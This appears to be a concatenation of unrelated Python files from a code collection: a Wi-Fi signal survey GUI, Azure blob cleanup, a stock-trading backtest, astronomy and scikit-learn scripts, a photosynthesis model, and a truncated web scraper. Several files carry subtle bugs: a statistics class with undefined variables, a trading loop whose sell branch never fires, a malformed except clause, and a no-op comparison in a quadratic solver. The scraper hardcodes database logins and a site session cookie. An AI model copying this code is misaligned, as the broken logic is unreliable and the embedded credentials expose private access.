self.groupBox_3.setObjectName(_fromUtf8("groupBox_3"))
self.gridLayout_4 = QtGui.QGridLayout(self.groupBox_3)
self.gridLayout_4.setObjectName(_fromUtf8("gridLayout_4"))
self.dataTable = QtGui.QTableWidget(self.groupBox_3)
self.dataTable.setMaximumSize(QtCore.QSize(16777215, 175))
self.dataTable.setFrameShape(QtGui.QFrame.Box)
self.dataTable.setFrameShadow(QtGui.QFrame.Plain)
self.dataTable.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)
self.dataTable.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)
self.dataTable.setEditTriggers(QtGui.QAbstractItemView.NoEditTriggers)
self.dataTable.setAlternatingRowColors(True)
self.dataTable.setSelectionMode(QtGui.QAbstractItemView.NoSelection)
self.dataTable.setShowGrid(True)
self.dataTable.setObjectName(_fromUtf8("dataTable"))
self.dataTable.setColumnCount(7)
self.dataTable.setRowCount(5)
item = QtGui.QTableWidgetItem()
self.dataTable.setVerticalHeaderItem(0, item)
item = QtGui.QTableWidgetItem()
self.dataTable.setVerticalHeaderItem(1, item)
item = QtGui.QTableWidgetItem()
self.dataTable.setVerticalHeaderItem(2, item)
item = QtGui.QTableWidgetItem()
self.dataTable.setVerticalHeaderItem(3, item)
item = QtGui.QTableWidgetItem()
self.dataTable.setVerticalHeaderItem(4, item)
item = QtGui.QTableWidgetItem()
self.dataTable.setHorizontalHeaderItem(0, item)
item = QtGui.QTableWidgetItem()
self.dataTable.setHorizontalHeaderItem(1, item)
item = QtGui.QTableWidgetItem()
self.dataTable.setHorizontalHeaderItem(2, item)
item = QtGui.QTableWidgetItem()
self.dataTable.setHorizontalHeaderItem(3, item)
item = QtGui.QTableWidgetItem()
self.dataTable.setHorizontalHeaderItem(4, item)
item = QtGui.QTableWidgetItem()
self.dataTable.setHorizontalHeaderItem(5, item)
item = QtGui.QTableWidgetItem()
self.dataTable.setHorizontalHeaderItem(6, item)
item = QtGui.QTableWidgetItem()
self.dataTable.setItem(0, 0, item)
item = QtGui.QTableWidgetItem()
self.dataTable.setItem(0, 1, item)
item = QtGui.QTableWidgetItem()
self.dataTable.setItem(0, 2, item)
item = QtGui.QTableWidgetItem()
self.dataTable.setItem(0, 3, item)
item = QtGui.QTableWidgetItem()
self.dataTable.setItem(0, 4, item)
item = QtGui.QTableWidgetItem()
self.dataTable.setItem(0, 5, item)
item = QtGui.QTableWidgetItem()
self.dataTable.setItem(0, 6, item)
self.dataTable.horizontalHeader().setDefaultSectionSize(70)
self.dataTable.horizontalHeader().setStretchLastSection(True)
self.dataTable.verticalHeader().setStretchLastSection(True)
self.gridLayout_4.addWidget(self.dataTable, 0, 0, 1, 1)
self.gridLayout_3.addWidget(self.groupBox_3, 0, 0, 1, 3)
self.exitButton = QtGui.QPushButton(self.viewThree)
self.exitButton.setObjectName(_fromUtf8("exitButton"))
self.gridLayout_3.addWidget(self.exitButton, 3, 2, 1, 1)
self.retranslateUi(MainWindow)
QtCore.QMetaObject.connectSlotsByName(MainWindow)
def retranslateUi(self, MainWindow):
MainWindow.setWindowTitle(_translate("MainWindow", "Wifi Sniffer", None))
self.floorNext.setText(_translate("MainWindow", "Next", None))
self.selectFloor.setTitle(_translate("MainWindow", " Please Select a Floor ", None))
self.secondFloor.setText(_translate("MainWindow", "Second Floor", None))
self.firstFloor.setText(_translate("MainWindow", "First Floor", None))
self.groundFloor.setText(_translate("MainWindow", "Ground Floor", None))
self.groupBox.setTitle(_translate("MainWindow", " Select Room ", None))
self.selectWing.setTitle(_translate("MainWindow", " Select Wing ", None))
self.u.setText(_translate("MainWindow", "U", None))
self.v.setText(_translate("MainWindow", "V", None))
self.w.setText(_translate("MainWindow", "W", None))
self.z.setText(_translate("MainWindow", "Z", None))
self.y.setText(_translate("MainWindow", "Y", None))
self.x.setText(_translate("MainWindow", "X", None))
self.roomNext.setText(_translate("MainWindow", "Next", None))
self.groupBox_2.setTitle(_translate("MainWindow", "Room Information", None))
self.scanInfo.setPlainText(_translate("MainWindow", "Stand at the North most point of the room and click the scan button, Repeat these steps for each point as requested.\n"
"\n"
"Once the scan is complete the results will be displayed.", None))
self.scanButton.setText(_translate("MainWindow", "Scan North", None))
self.saveFileBox.setTitle(_translate("MainWindow", "Save File", None))
self.saveInfo.setText(_translate("MainWindow", "Save Information:", None))
self.saveData2.setText(_translate("MainWindow", "File will be saved in the programs directory.", None))
self.saveFileBttn.setText(_translate("MainWindow", "Save File", None))
self.saveFileLoc.setText(_translate("MainWindow", "", None))
self.logFile.setText(_translate("MainWindow", ".log - Log file", None))
self.saveData1.setText(_translate("MainWindow", "Export the data as a file of your choice.", None))
self.csv.setText(_translate("MainWindow", ".csv - Comma Seperated Value", None))
self.database.setText(_translate("MainWindow", ".db - Database", None))
self.allFiles.setText(_translate("MainWindow", "Export all file types", None))
self.restartButton.setText(_translate("MainWindow", "Restart", None))
self.groupBox_3.setTitle(_translate("MainWindow", "Gathered Data", None))
item = self.dataTable.verticalHeaderItem(0)
item.setText(_translate("MainWindow", "N", None))
item = self.dataTable.verticalHeaderItem(1)
item.setText(_translate("MainWindow", "S", None))
item = self.dataTable.verticalHeaderItem(2)
item.setText(_translate("MainWindow", "E", None))
item = self.dataTable.verticalHeaderItem(3)
item.setText(_translate("MainWindow", "W", None))
item = self.dataTable.verticalHeaderItem(4)
item.setText(_translate("MainWindow", "C", None))
item = self.dataTable.horizontalHeaderItem(0)
item.setText(_translate("MainWindow", "Gateway", None))
item = self.dataTable.horizontalHeaderItem(1)
item.setText(_translate("MainWindow", "Access Point", None))
item = self.dataTable.horizontalHeaderItem(2)
item.setText(_translate("MainWindow", "Loss (%)", None))
item = self.dataTable.horizontalHeaderItem(3)
item.setText(_translate("MainWindow", "Delay (ms)", None))
item = self.dataTable.horizontalHeaderItem(4)
item.setText(_translate("MainWindow", "Quality", None))
item = self.dataTable.horizontalHeaderItem(5)
item.setText(_translate("MainWindow", "Signal (dbm)", None))
item = self.dataTable.horizontalHeaderItem(6)
item.setText(_translate("MainWindow", "Speed (Mb)", None))
__sortingEnabled = self.dataTable.isSortingEnabled()
self.dataTable.setSortingEnabled(False)
item = self.dataTable.item(0, 0)
item.setText(_translate("MainWindow", " ", None))
item = self.dataTable.item(0, 1)
item.setText(_translate("MainWindow", " ", None))
item = self.dataTable.item(0, 2)
item.setText(_translate("MainWindow", " ", None))
item = self.dataTable.item(0, 3)
item.setText(_translate("MainWindow", " ", None))
item = self.dataTable.item(0, 4)
item.setText(_translate("MainWindow", " ", None))
item = self.dataTable.item(0, 5)
item.setText(_translate("MainWindow", " ", None))
item = self.dataTable.item(0, 6)
item.setText(_translate("MainWindow", " ", None))
self.dataTable.setSortingEnabled(__sortingEnabled)
self.exitButton.setText(_translate("MainWindow", "Exit", None))
if __name__ == "__main__":
import sys
app = QtGui.QApplication(sys.argv)
MainWindow = QtGui.QWidget()
ui = Ui_MainWindow()
ui.setupUi(MainWindow)
MainWindow.show()
sys.exit(app.exec_())
|
18,237 | 8c879a435abb1f28876c690b9cfaec34b2841838 | import sys
sys.path.append('.')
sys.path.append('..')
import json
import os
from azure.storage.blob import BlobServiceClient
from commons.DatabaseConnection import DatabaseConnection
STORAGE_CONNECTION_STRING = os.getenv('storage_connection_string')
blob_service_client = BlobServiceClient.from_connection_string(STORAGE_CONNECTION_STRING)
DATABASE_URL = os.environ['database_url']
DATABASE_NAME = os.environ['database_name']
DATABASE_COLLECTION = os.environ['database_collection']
DATABASE_KEY = os.environ['database_key']
db_conn = DatabaseConnection(DATABASE_URL, DATABASE_NAME, DATABASE_COLLECTION, DATABASE_KEY)
async def clean_samples() -> list:
beats = db_conn.execute_query(db_conn.query_map['get_all_beats'])
samples = db_conn.execute_query(db_conn.query_map['get_all_samples'])
samples_used = set()
# Add all Sample Ids from Beat Attributes
for vertex in beats:
attribute_samples = json.loads(vertex['properties']['attributes'][0]['value'])
for sample in attribute_samples:
samples_used.add(sample['sampleID'])
# Add all Sample Ids from existing Samples
for vertex in samples:
samples_used.add(vertex['id'])
# Get the Samples container
container_client = blob_service_client.get_container_client('sample')
deleted_samples = list()
# For each file (blob)...
for blob in container_client.list_blobs():
# If this is an audio file (wav or mp3):
# and is never referenced in a Beat or Sample Vertex, delete it
file_name = blob.name
sample_id = file_name.split('_')[0]
if sample_id not in samples_used:
try:
blob_client = container_client.get_blob_client(file_name)
blob_client.delete_blob()
deleted_samples.append(file_name)
except e as Exception:
raise
return deleted_samples |
18,238 | bfd6f410d01657b2e2fc5c306fed40172cfb94c5 | # -*- coding: utf-8 -*-
"""
Spyder Editor
This is a temporary script file.
"""
# Import libraries
import pandas_datareader as pdr
import pandas as pd
import matplotlib.pyplot as plt
from xgboost import XGBClassifier, XGBRegressor
from sklearn import metrics
import numpy as np
from operator import itemgetter
# Get data
df = pdr.get_data_yahoo('SBUX', '2010-01-01', '2021-02-03').rename({'Adj Close': 'price'}, axis = 1)
# Calculate % change
df['pct_change'] = df['price'].pct_change()
df.dropna(inplace = True)
# Function to get trades
def optimal_trading(x, n):
# Buy
if x <= -n:
return -1
# Sell
elif x >= n:
return 1
# Hold
else:
return 0
# Iterate to find optimal magnitude
df.reset_index(inplace = True)
scores = []
for n in np.arange(.05, .5, .05):
df['trades'] = df['pct_change'].apply(lambda x: optimal_trading(x, n))
df['trades'].iloc[0] = -1
df['trades'].iloc[-1] = 1
ledger = pd.DataFrame()
# Initialize ledger
trades = 0
amount = 10000
quant = 0
# Calculate trade activity
for idx, row in df.iterrows():
date, price, units = row['Date'], row['price'], amount // row['price']
if row['trades'] == -1:
amount -= (units * price)
quant += units
trades += 1
# Hold
elif row['trades'] == 0:
pass
# Sell
elif row['trades'] == -1:
amount += (units * price)
quant -= units
trades += 1
ledger = ledger.append({'dt': date,
'price': price,
'trades': row['trades'],
'shares': quant,
'num_trades': trades,
'total': amount + (quant * price)}, ignore_index = True)
scores.append((n, ledger['total'].iloc[-1]))
best = max(scores, key = itemgetter(1)) |
18,239 | 614cc8d76a07bd551be611b58d62f853d1bfec26 | import numpy as np
import matplotlib.pyplot as plt
import pyneb as pn
# Tell PyNeb tu use parallelisation
pn.config.use_multiprocs()
### General settings
# Setting verbosity level. Enter pn.my_logging? for details
pn.log_.level = 2 # set this to 3 to have more details
# Adopt an extinction law
extinction_law = 'CCM89'
# Define the data file
obs_data = 'test.dat'
# Define plot title
title = 'SMC 24'
### Read and deredden observational data
# define an Observation object and assign it to name 'obs'
obs = pn.Observation()
# fill obs with data read from file obs_data, with lines varying across rows and a default percent error on line intensities
obs.readData(obs_data, fileFormat='lines_in_rows_err_cols', errIsRelative=False)#, err_default=0.05)
# Add a number of "fake" observations aroung the right one, to make Monte Carlo statistics
obs.addMonteCarloObs(N = 500)
obs.def_EBV(label1="H1r_6563A", label2="H1r_4861A", r_theo=2.85)
# deredden data with Cardelli's law
obs.extinction.law = extinction_law
obs.correctData()
print("PyNeb: cH(b) = {:.2f} +/- {:.2f}".format(np.median(obs.extinction.cHbeta),np.std(obs.extinction.cHbeta)))
### Include the diagnostics of interest
# instantiate the Diagnostics class
diags = pn.Diagnostics()
# include in diags the relevant line ratios
diags.addDiag([
'[NII] 5755/6584',
'[OII] 3726/3729',
'[OIII] 4363/5007',
'[SII] 6731/6716',
'[SII] 4072+/6720+',
'[SIII] 6312/18.7m',
'[NeIII] 3930+/15.6m',
])
diags.addClabel('[SII] 6731/6716', '[SII]a')
diags.addClabel('[SII] 4072+/6720+', '[SII]b')
#The observed ratio can be automatically extracted from an Observation object named obs:
Te, Ne = diags.getCrossTemDen('[NII] 5755/6548', '[SII] 6731/6716', obs=obs)
print('Te = {:.0f} +/- {:.0f}'.format(np.mean(Te), np.std(Te)))
print('Ne = {:.0f} +/- {:.0f}'.format(np.mean(Ne), np.std(Ne)))
|
18,240 | 03d598c18f41a49dd8aec5c34809bb0bd083b4da | import pandas as pd
from io import StringIO
from sklearn.preprocessing import Imputer
import numpy as np
from sklearn.impute import SimpleImputer
from sklearn.preprocessing import LabelEncoder
# 将数据集分为 训练集 和 测试集
df_wine = pd.read_csv('./wine.data', header=None) # 读取葡萄酒数据集
print(df_wine)
df_wine.columns = ['Class label', 'Alcohol', 'Malic acid', 'Ash',
'Alcalinity of ash', 'Magnesium', 'Total phenols',
'Flavanoids', 'Nonflavanoid phenols', 'Proanthocyanins',
'Color intensity', 'Hue', 'OD280/OD315 of diluted wines',
'Proline']
print('Class labels', np.unique(df_wine['Class label'])) # 三种酒
print(df_wine.head())
from sklearn.model_selection import train_test_split
X, y = df_wine.iloc[:, 1:].values, df_wine.iloc[:, 0].values
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=0, stratify=y)
# 把特征保持在同一尺度上 ： 归一化 与 标准化
# 归一化通常是指把特征的比例调整到[0,1]区间
ex = np.array([0, 1, 2, 3, 4, 5])
print('normalized:', (ex - ex.min()) / (ex.max() - ex.min()))
from sklearn.preprocessing import MinMaxScaler
mms = MinMaxScaler()
X_train_norm = mms.fit_transform(X_train)
print(X_train_norm)
X_test_norm = mms.transform(X_test)
print(X_test)
# 标准化对于许多线性模型都十分有必要
print('standardized:', (ex - ex.mean()) / ex.std())
from sklearn.preprocessing import StandardScaler
stdsc = StandardScaler()
X_train_std = stdsc.fit_transform(X_train)
X_test_std = stdsc.transform(X_test)
# 选择有意义的特征
# 正则化
print('normalized:', (ex - ex.min()) / (ex.max() - ex.min()))
from sklearn.linear_model import LogisticRegression
lr = LogisticRegression(penalty='l1', C=1.0)
lr.fit(X_train_std, y_train)
print('Training accuracy:', lr.score(X_train_std, y_train))
print('Test accuracy:', lr.score(X_test_std, y_test))
print(lr.intercept_)
print(lr.coef_)
|
18,241 | d16b7b229df9fb15dd6daa0faf82d929d0bdda40 | #estatistica
#arquivo feito por guilherme del rio
from math import *
class dados_continuos():
dados = (())
def __init__ (self, *agrs):
dados=(args)
def add_data(data_range, data):
dados
def media_aritimetica(dados):
for x in dados:
soma += x
return (soma/len(dados))
def media_ponderada(dados):
for x in dados:
soma +=( x[0] * x[1])
p += x[1]
return (soma/p)
def media_geometrica(dados):
for x in dados:
soma += x
return (root(len(dados),soma))
def media_harmonica(dados):
for x in dados:
soma += x**-1
return (len(dados)/soma)
|
18,242 | 23c1326a07ad95e705259affedb460470d28969e | class Solution(object):
def shortestDistance(self, wordsDict, word1, word2):
index1 = -1
index2 = -1
minimum = float("inf")
for i in range(len(wordsDict)):
if word1 == wordsDict[i]:
index1 = i
if word2 == wordsDict[i]:
index2 = i
if index1 != -1 and index2 != -1:
minimum = min(minimum, abs(index2 - index1))
return minimum
|
18,243 | ecd3c4b493bcaac8226dc129ea649200d509b3c4 | """
.. module:: utils
:platform: Unix
:synopsis: Miscellaneous utils
.. moduleauthor:: Daniele Zanotelli <dazano@gmail.com>
"""
import logging
logger = logging.getLogger(__name__)
def log_call(func, *args, **kw):
"""Produce a info message which logs the *func* call.
"""
# concatenate args and kw args transforming string values
# from 'value' to '"value"' in order to pretty display em
func_args = []
# concatenate positional args
args = list(args)
if args:
for i, arg in enumerate(args):
if type(arg) is str:
args[i] = '"{}"'.format(arg)
func_args.extend([str(arg) for arg in args])
# concatenate non positional args
if kw:
for key, value in kw.items():
if type(value) is str:
kw[key] = '"{}"'.format(value)
func_args.extend(["{k}={v}".format(k=k, v=v) for k, v in kw.items()])
# print the log message
msg = "[DRYRUN] call to '{func}({args})'"
msg = msg.format(func=func.__name__, args=", ".join(func_args))
logger.info(msg)
|
18,244 | 08ce064ab0ce7e890125b8f4174cc62971f4c7b0 | #!/usr/bin/env python
"""
Collatz photosynthesis model.
That's all folks.
"""
__author__ = "Martin De Kauwe"
__version__ = "1.0 (11.01.2020)"
__email__ = "mdekauwe@gmail.com"
import sys
import numpy as np
import os
import math
import constants as cnt
class CollatzC3(object):
"""
Collatz photosynthesis model.
Reference
=========
* Collatz, G. J., Ball, J. T., Grivet, C., and Berry, J. A. (1991)
Physiological and environmental regulation of stomatal conductance,
photosynthesis and transpiration: amodel that includes alaminar boundary
layer, Agr. Forest Meteorol., 54, 107–136.
* Clark DB, Mercado LM, Sitch S, Jones CD, Gedney N, Best MJ, Pryor M,
Rooney GG, Essery RLH, Blyth E, et al. 2011. The Joint UK Land
Environment Simulator (JULES), Model description – Part 2: Carbon fluxes
and vegetation. Geoscientific Model Development Discussions 4: 641–688.
"""
# Note in Clark et al. Ko25=30.0*1E4, using 1E3 to match Eller, check if
# that is a mistake
def __init__(self, Oa=21000.0, gamstar25=42.75, Kc25=30.0, Ko25=30.0*1E3,
Q10_Kc=2.1, Q10_Ko=1.2, Q10_Vcmax=2.0, Tlower=10.0,
Tupper=50.0, gamma25=2600.0, Q10_gamma=0.57, alpha=0.08,
omega=0.15, beta1=0.83, beta2=0.93):
self.gamma25 = gamma25 # coefficents for CO2 compensation point (Pa)
self.Kc25 = Kc25 # MM coefficents for carboxylation by Rubisco (Pa)
self.Ko25 = Ko25 # MM coefficents for oxygenation by Rubisco (Pa)
self.Q10_Ko = Q10_Ko # Q10 value for MM constants for O2
self.Q10_Kc = Q10_Kc # Q10 value for MM constants for CO2
self.Q10_Vcmax = Q10_Vcmax # Q10 value for carboxylation of Rubisco
self.Q10_gamma = Q10_gamma # Q10 value for Rubisco specificity for CO2
# relative to O2
self.Tlower = Tlower # Lower temperature for carboxylation
self.Tupper = Tupper # Upper temperature for carboxylation
self.Oa = Oa # the partial pressure of atmospheric oxygen (Pa)
self.alpha = alpha # quantum efficiency of
# photosynthesis (mol CO2 mol-1 PAR)
self.omega = omega # leaf scattering coefficent for PAR (unitless)
self.beta1 = beta1 # smoothing co-limitation coefficient
self.beta2 = beta2 # smoothing co-limitation coefficient
def calc_photosynthesis(self, Ci, Tleaf, PAR, Vcmax25):
"""
Parameters
----------
Ci : float
leaf intercellular CO2 partial pressure (Pa)
Tleaf : float
leaf temp (deg C)
PAR : float
photosynthetically active radiation (mol m-2 s-1)
Vcmax25 : float
Maximum rate of rubisco activity 25C (mol m-2 s-1)
"""
Tk = Tleaf + cnt.DEG_2_KELVIN
# CO2 compensation point in the absence of mitochondrial resp (Pa)
gamma = self.calc_CO2_compensation_point(Tleaf)
# calculate temp depend of Michaelis Menten constants for CO2, O2
Km = self.calc_michaelis_menten_constants(Tleaf)
# Max rate of rubisco activity (mol m-2 s-1)
Vcmax = self.correct_vcmax_for_temperature(Vcmax25, Tleaf)
# Leaf day respiration (mol m-2 s-1)
Rd = Vcmax * 0.01
# Leaf-level photosynthesis: Rubisco-limited rate (Pa)
Ac = Vcmax * ((Ci - gamma) / (Ci + Km))
# Leaf-level photosynthesis: Light-limited rate (Pa)
Al = self.alpha * (1.0 - self.omega) * PAR \
* ((Ci - gamma) / (Ci + 2.0 * gamma))
# Leaf-level photosynthesis: rate of transport of photosynthetic
# products
Ae = 0.5 * Vcmax
# The rate of gross photosynthesis (W) is calculated as the smoothed
# minimum of three potentially-limiting rates
A = self.beta1
B = -(Ac + Al)
C = Ac * Al
A_gross1 = self.quadratic(a=A, b=B, c=C, large=False)
A = self.beta2
B = -(A_gross1 + Ae)
C = A_gross1 * Ae
A_gross2 = self.quadratic(a=A, b=B, c=C, large=False)
# Rate of gross photosynthesis (mol CO2 m-2 s-1)
Ag = A_gross2
# Rate of net photosynthesis (mol CO2 m-2 s-1)
An = Ag - Rd
return An
def calc_photosynthesis_given_gc(self, Cs, Tleaf, PAR, Vcmax25, gc, press):
"""
Parameters
----------
Cs : float
leaf CO2 partial pressure (Pa)
Tleaf : float
leaf temp (deg C)
PAR : float
photosynthetically active radiation (mol m-2 s-1)
Vcmax25 : float
Maximum rate of rubisco activity 25C (mol m-2 s-1)
gc : float
stomatal conductance to CO2
press: float
atmospheric pressure (Pa)
"""
Tk = Tleaf + cnt.DEG_2_KELVIN
# CO2 compensation point in the absence of mitochondrial resp (Pa)
gamma = self.calc_CO2_compensation_point(Tleaf)
# calculate temp depend of Michaelis Menten constants for CO2, O2
Km, Ko, Kc = self.calc_michaelis_menten_constants(Tleaf, ret_cnts=True)
# Max rate of rubisco activity (mol m-2 s-1)
Vcmax = self.correct_vcmax_for_temperature(Vcmax25, Tleaf)
# Leaf day respiration (mol m-2 s-1)
Rd = Vcmax * 0.01
# Leaf-level photosynthesis: Rubisco-limited rate (Pa)
a = Vcmax
b = Kc * (1.0 + self.Oa / Ko)
c = (Rd - a) - (gc / press) * (Cs + b)
d = (gc / press) * (a * Cs - a * gamma - Rd * Cs - b * Rd)
Ac = (-(c / 2.0) - math.sqrt(((c / 2.0)**2) - d)) + Rd
# Leaf-level photosynthesis: Light-limited rate (Pa)
a = self.alpha * (1.0 - self.omega) * PAR
b = 2.0 * gamma
c = (Rd - a) - (gc / press) * (Cs + b)
#d = (gc/Pa)*(a * Ca - a * photocomp - Rd * Ca - b*Rd)
d = (gc / press) * (a * Cs - a * gamma - Rd * Cs - b * Rd)
Al = (-(c / 2.0) - math.sqrt(((c / 2.0)**2.0) - d)) + Rd
# Leaf-level photosynthesis: rate of transport of photosynthetic
# products
Ae = 0.5 * Vcmax
# Co-limitation
# The rate of gross photosynthesis (W) is calculated as the smoothed
# minimum of three potentially-limiting rates
A = self.beta1
B = -(Ac + Al)
C = Ac * Al
A_gross1 = self.quadratic(a=A, b=B, c=C, large=False)
A = self.beta2
B = -(A_gross1 + Ae)
C = A_gross1 * Ae
A_gross2 = self.quadratic(a=A, b=B, c=C, large=False)
# Rate of gross photosynthesis (mol CO2 m-2 s-1)
Ag = A_gross2
# Rate of net photosynthesis (mol CO2 m-2 s-1)
An = Ag - Rd
return An
def calc_ci_at_colimitation_point(self, Ci, Tleaf, PAR, Vcmax25):
"""
Parameters
----------
Ci : float
leaf intercellular CO2 partial pressure (Pa)
Tleaf : float
leaf temp (deg C)
PAR : float
photosynthetically active radiation (mol m-2 s-1)
Vcmax25 : float
Maximum rate of rubisco activity 25C (mol m-2 s-1)
"""
Tk = Tleaf + cnt.DEG_2_KELVIN
# CO2 compensation point in the absence of mitochondrial resp (Pa)
gamma = self.calc_CO2_compensation_point(Tleaf)
# calculate temp depend of Michaelis Menten constants for CO2, O2
Km, Ko, Kc = self.calc_michaelis_menten_constants(Tleaf, ret_cnts=True)
# Max rate of rubisco activity (mol m-2 s-1)
Vcmax = self.correct_vcmax_for_temperature(Vcmax25, Tleaf)
# Leaf day respiration (mol m-2 s-1)
Rd = Vcmax * 0.01
# Leaf-level photosynthesis: Light-limited rate (Pa)
Al = self.alpha * (1.0 - self.omega) * PAR
# Leaf-level photosynthesis: rate of transport of photosynthetic
# products
Ae = 0.5 * Vcmax
# Co-limitated A
A = self.beta2
B = -(Al + Ae)
C = Al * Ae
A_colimit = self.quadratic(a=A, b=B, c=C, large=False)
# Ci at the colimitation point
a_bnd = -Vcmax * gamma
b_bnd = Vcmax
d_bnd = Kc * (1.0 + self.Oa / Ko)
e_bnd = 1.0
Ci_col = (a_bnd - d_bnd * A_colimit) / (e_bnd * A_colimit - b_bnd)
return Ci_col
def calc_michaelis_menten_constants(self, Tleaf, ret_cnts=False):
"""
Michaelis-Menten constant for O2/CO2, Arrhenius temp dependancy
Parameters:
----------
Tleaf : float
leaf temperature [deg K]
Returns:
----------
Km : float
Michaelis-Menten constant
"""
# Michaelis Menten constants for CO2 (Pa)
Kc = self.Q10_func(self.Kc25, self.Q10_Kc, Tleaf)
# Michaelis Menten constants for O2 (Pa)
Ko = self.Q10_func(self.Ko25, self.Q10_Ko, Tleaf)
Km = Kc * (1.0 + self.Oa / Ko)
if ret_cnts:
return Km, Ko, Kc
else:
return Km
def calc_CO2_compensation_point(self, Tleaf):
"""
Photorespiration compensation point (Pa)
"""
# Rubisco specificity for CO2 relative to O2
tau = self.Q10_func(self.gamma25, self.Q10_gamma, Tleaf)
gamma = self.Oa / (2.0 * tau)
return gamma
def Q10_func(self, k25, Q10, Tleaf):
"""
Q10 function to calculate parameter change with temperature
"""
return k25 * (Q10**((Tleaf - 25.0) / 10.0))
def correct_vcmax_for_temperature(self, Vcmax25, Tleaf):
"""
Correct Vcmax based on defined by PFT-specific upper and lower
temperature params, see Clark et al. (mol CO2 m-2 s-1)
"""
num = self.Q10_func(Vcmax25, self.Q10_Vcmax, Tleaf)
den = (1.0 + math.exp(0.3 * (Tleaf - self.Tupper))) * \
(1.0 + math.exp(0.3 * (self.Tlower - Tleaf)))
return num / den
def quadratic(self, a=None, b=None, c=None, large=False):
""" minimilist quadratic solution as root for J solution should always
be positive, so I have excluded other quadratic solution steps. I am
only returning the smallest of the two roots
Parameters:
----------
a : float
co-efficient
b : float
co-efficient
c : float
co-efficient
Returns:
-------
val : float
positive root
"""
d = b**2.0 - 4.0 * a * c # discriminant
if d < 0.0:
raise ValueError('imaginary root found')
#root1 = np.where(d>0.0, (-b - np.sqrt(d)) / (2.0 * a), d)
#root2 = np.where(d>0.0, (-b + np.sqrt(d)) / (2.0 * a), d)
if large:
if math.isclose(a, 0.0) and b > 0.0:
root = -c / b
elif math.isclose(a, 0.0) and math.isclose(b, 0.0):
root = 0.0
if c != 0.0:
raise ValueError('Cant solve quadratic')
else:
root = (-b + np.sqrt(d)) / (2.0 * a)
else:
if math.isclose(a, 0.0) and b > 0.0:
root = -c / b
elif math.isclose(a, 0.0) and math.isclose(b, 0.0):
root == 0.0
if c != 0.0:
raise ValueError('Cant solve quadratic')
else:
root = (-b - np.sqrt(d)) / (2.0 * a)
return root
if __name__ == "__main__":
Vcmax25 = 0.0001 # Maximum rate of rubisco activity 25C (mol m-2 s-1)
Tleaf = 35.0 # Leaf temp (deg C)
Ci = 40. * 0.7 # leaf interceullular partial pressure (Pa)
PAR = 0.002 # photosynthetically active radiation (mol m-2 s-1)
C = CollatzC3()
An = C.calc_photosynthesis(Ci, Tleaf, PAR, Vcmax25)
print(An)
|
18,245 | b408604f0b4b53278dceffe3004e9ebd8026eeea | from turtle import Turtle
FONT = "Courier"
FONTSIZE = 16
FONTTYPE = "normal"
FONTCOLOR = "White"
ALIGNMENT = "center"
class ScoreBoard(Turtle):
def __init__(self):
super().__init__()
self.penup()
self.color(FONTCOLOR)
self.goto(0, 280)
self.score_p1 = 0
self.score_p2 = 0
self.hideturtle()
self.update_scoreboard()
def update_scoreboard(self):
self.write(f" PlayerA {self.score_p1} : {self.score_p2} PlayerB",
move=False, align=ALIGNMENT, font=(FONT, FONTSIZE, FONTTYPE))
def increase_score(self, player):
if player == 1:
self.score_p1 += 1
elif player == 2:
self.score_p2 += 1
self.clear()
self.update_scoreboard()
def game_over(self):
self.goto(0,0)
self.write("GAME OVER", move=False, align=ALIGNMENT, font=(FONT, FONTSIZE, FONTTYPE))
|
18,246 | 09e93c507989b8b4e461152b848d2fa76878efde | #coding=utf8
import torndb
import time
from pyquery import PyQuery as pq
import requests
db = torndb.Connection("192.168.2.168", "db_income2","root","deng")
db1 = torndb.Connection("192.168.2.168", "db_customer","root","deng")
from random import randint
def addNew(name, company, company_id):
hd = {
"Connection":
"keep-alive",
"Pragma":
"no-cache",
"Cache-Control":
"no-cache",
"Upgrade-Insecure-Requests":
"1",
"User-Agent":
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36",
"Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
"Referer":
"https://www.tianyancha.com/",
"Accept-Encoding":
"gzip, deflate, br",
"Accept-Language":
"zh-CN,zh;q=0.9",
"Cookie":
"TYCID=a7511930f38511e8ac10d31168af962d; undefined=a7511930f38511e8ac10d31168af962d; ssuid=4016186264; _ga=GA1.2.1585521434.1543461602; _gid=GA1.2.365761508.1545014447; __insp_wid=677961980; __insp_nv=true; __insp_targlpu=aHR0cHM6Ly93d3cudGlhbnlhbmNoYS5jb20vc2VhcmNoP2tleT0lRTUlQjklQkYlRTUlQjclOUUlRTYlOTglOUYlRTUlQTUlODclRTclQTclOTElRTYlOEElODAlRTYlOUMlODklRTklOTklOTAlRTUlODUlQUMlRTUlOEYlQjgmcm5kPSZybmQ9JnJuZD0mcm5kPSZybmQ9JnJuZD0mcm5kPSZybmQ9JnJuZD0mcm5kPSZybmQ9JnJuZD0mcm5kPSZybmQ9JnJuZD0mcm5kPSZybmQ9JnJuZD0mcm5kPQ%3D%3D; __insp_targlpt=5bm%2F5bee5pif5aWH56eR5oqA5pyJ6ZmQ5YWs5Y_4X_ebuOWFs_aQnOe0oue7k_aenC3lpKnnnLzmn6U%3D; __insp_norec_sess=true; aliyungf_tc=AQAAAC35bjpr0A0A5RmMPYm9WOe4Asnq; csrfToken=-w8hA9i4CJSXiQbygq8QN4V6; Hm_lvt_e92c8d65d92d534b0fc290df538b4758=1543461602,1545014446,1545109876; RTYCID=85f7164c9b6742548df2ea761e5cb3e5; CT_TYCID=3dbeede0a633496cbbb817286edcdfda; cloud_token=4e228ffdf3f348b8a7485512bf993248; cloud_utm=1f0e59ac73274334ba6d8850f453457e; _gat_gtag_UA_123487620_1=1; 